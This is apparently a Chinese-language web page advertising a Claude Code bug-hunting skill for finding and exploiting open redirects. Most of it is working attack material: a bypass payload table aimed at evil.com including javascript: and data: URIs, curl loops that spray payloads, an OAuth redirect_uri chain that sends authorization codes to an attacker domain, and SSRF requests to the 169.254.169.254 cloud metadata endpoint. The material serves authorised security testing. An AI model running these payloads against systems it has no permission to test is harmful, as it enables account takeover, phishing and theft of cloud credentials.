关于 hunt-open-redirect
用于发现和验证开放重定向的 Web 安全测试技能,涵盖客户端重定向与绕过方式,并指导评估 OAuth、钓鱼和 SSRF 攻击链。
主要功能
- 01查找重定向参数
- 02测试重定向绕过载荷
- 03检查客户端重定向接收点
- 04评估 OAuth 重定向攻击链
- 05检查服务端重定向行为
适用场景
- 01审计 Web 应用中的重定向参数
- 02检查 OAuth 授权码是否可能泄露
- 03评估重定向的钓鱼或 SSRF 影响
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-open-redirect安装后在 Claude Code 中输入/hunt-open-redirect确认已加载。
详细介绍
HUNT-OPEN-REDIRECT — 开放重定向
皇冠明珠目标
单独的开放重定向属于低危。与 OAuth 串联 = 严重(ATO)。
价值最高的攻击链:
- 开放重定向 → OAuth 授权码窃取 —
redirect_uri包含受信任域上的开放重定向 → 授权码发送给攻击者 → ATO - 开放重定向 → 网络钓鱼 — 用户信任该 URL,因为它以 target.com 开头
- 开放重定向 → SSRF 升级 — 如果重定向由服务器端跟随 → SSRF
- 开放重定向 → 会话固定 — 强制用户访问带有预设会话的登录端点
攻击面信号
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
绕过技术表
| 技术 | 载荷 |
|---|---|
| 基础 | https://evil.com |
| 协议相对 | //evil.com |
| 反斜杠绕过 | /\\evil.com |
| At 符号混淆 | https://[email protected] |
| 双斜杠 | //evil.com/%2F.. |
| URL 编码 | %2Fevil.com |
| 空字节 | evil.com%00target.com |
| 空白字符 | evil.com%09 或 %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| 子域名 | https://target.com.evil.com |
| 片段 | https://evil.com#.target.com |
分步狩猎方法
阶段 1 — 发现重定向参数
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
阶段 2 — 基础测试
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
阶段 3 — 绕过技术
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://[email protected]"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
阶段 3b — 基于 DOM 的开放重定向(客户端接收器)
对服务器端 Location: 进行 grep 会遗漏纯粹由 JS 执行的重定向。源(location.hash/location.search/document.referrer)被赋值给导航接收器。
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
(PortSwigger:基于 DOM 的开放重定向。)
阶段 4 — OAuth 攻击链测试
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
阶段 5 — 服务器端重定向(SSRF 升级)
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"
自动化
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
攻击链表
| 开放重定向发现 | 攻击链目标 | 影响 |
|---|---|---|
| 任意开放重定向 | OAuth redirect_uri 绕过 | 授权码窃取 → ATO |
| 任意开放重定向 | 带有目标域名的钓鱼 URL | 社会工程 |
| 服务器端重定向 | 通过跟随重定向触发 SSRF | 访问内部服务 |
| 登出重定向 | 会话固定 | 使用已知会话强制登录 |
验证
✅ 响应中的 Location 标头指向 evil.com(你控制的域名) ✅ 浏览器跟随重定向,跳转到攻击者控制的页面
严重性:
- 单独的重定向:低危(大多数项目)
- 攻击链导致 OAuth 授权码窃取 → ATO:高危/严重
- 攻击链导致带有品牌名称的网络钓鱼:低危—中危
- 服务器端 → SSRF:高危
评论
支持 Markdown